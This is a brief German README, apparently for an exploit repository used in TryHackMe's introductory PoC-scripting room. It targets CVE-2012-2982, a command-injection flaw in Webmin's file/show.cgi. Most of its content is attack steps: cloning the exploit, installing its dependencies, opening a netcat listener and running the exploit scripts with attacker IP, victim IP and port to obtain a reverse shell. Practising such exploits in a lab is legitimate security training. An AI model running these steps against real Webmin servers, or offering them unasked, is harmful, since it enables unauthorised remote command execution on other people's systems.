
Üben Sie POC-Scripting in Tryhackme’s intro poc scripting room (für Linux)
file/show.cgi in Webmin 1.590 und früher erlaubt es remote authentifizierten Benutzern, beliebige Befehle über ein ungültiges Zeichen in einem Pfadnamen auszuführen, wie durch ein | (Pipe) Zeichen demonstriert.
git clone https://github.com/CpyRe/CVE-2012-2982.gitpip3 install -r requirements.txtnc -nlvp <port>python3 exp.py <myip> <vulnip> <port>
ODER
python3 subprocess-exp.py <myip> <vulnip> <port>